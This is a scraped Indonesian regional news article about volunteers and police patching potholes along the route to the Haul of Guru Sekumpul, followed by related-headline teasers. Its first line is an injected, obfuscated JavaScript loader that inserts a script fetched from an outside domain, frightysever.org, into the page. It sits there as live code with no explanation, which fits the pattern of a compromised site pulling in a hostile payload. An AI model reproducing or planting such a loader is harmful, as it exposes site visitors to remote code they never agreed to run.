(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANDANGAN, Menjelang pelaksanaan Haul Ke-14 Guru Sekumpul, persiapan juga dilaksanakan masyarakat di Kabupaten Hulu Sungai Selatan (HSS). Mereka menambal jalan berlubang di sepanjang jalur utama HSU secara swadaya demi kenyamanan lalu lintas jamaah yang menuju lokasi.
Seperti dilakukan para relawan terdiri dari warga desa, anggota BPK yang dikawal langsung petugas Sat Lantantas Polres Hulu Sungai Selatan (HSS) di kawasan jalan A Yani Desa Angkinang Kabupaten HSS.
Menggunakan mobil pickup berisikan pasir, semen, dan peralatan bangunan lainnya, satu-persatu lubang di jalan berusaha ditambal, agar dapat memberikan kemudahan, rasa aman, dan kenyamanan jamaah Haul ke-14 Guru Sekumpul. Terutama yang datang dari arah Hulu Sungai, Kalteng dan Kaltim.
Kepada kanalkalimantan,Kamis (7/3) Bripka H Budi Rahmat, anggota Sat Lantas Polres HSS disela-sela kegiatan tersebut mengungkapkan, setelah sebelumnya melakukan rapat koordinasi bersama para warga masyarakat dan anggota BPK, secara swadaya warga melakukan penambalan jalan berlobang. “Kami utamakan pengendara menuju arah Banjarmasin untuk jamaah haul sehingga lancar dan dapat mengurangi potensi kecelakaan,” kata Bripka Budi.
Ia menyebut, beberapa sak semen terlebih dahulu sudah disiapkan untuk menambal lobang jalan yang masih dirasa dapat membahayakan pengguna jalan dari kecamatan Angkinang sampai dengan kota Kandangan. Harapannya, pekerjaan ini dapat diatasi sebelum hari H.
Ia menambahkan, sementara untuk jalanan yang berlubang dikawasan Kabupaten Hulu Sungai Tengah (HST) menuju HSS, pihaknya akan melakukan koordinasi dengan instansi terkait dari Kabupaten HST agar dapat diatasi. “Ditambah lagi dengan patroli pengawasan dan pengawalan para jamaah yang akan dilakukan pihak Polres HSS selama tiga hari dari hari Sabtu, Minggu dan Senin,” terangnya.
Kendati sebagian jalan dilakukan penambalan oleh warga, akan tetapi hampir seluruh jalan utama perlintasan di wilayah Banua Enam menuju ke Martapura masih banyak ditemukan jalanan yang berlobang. Terlebih jalan perlintasan antara Barabai – Kandangan yang merupakan jalan utama antar kota antar provinsi.(dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.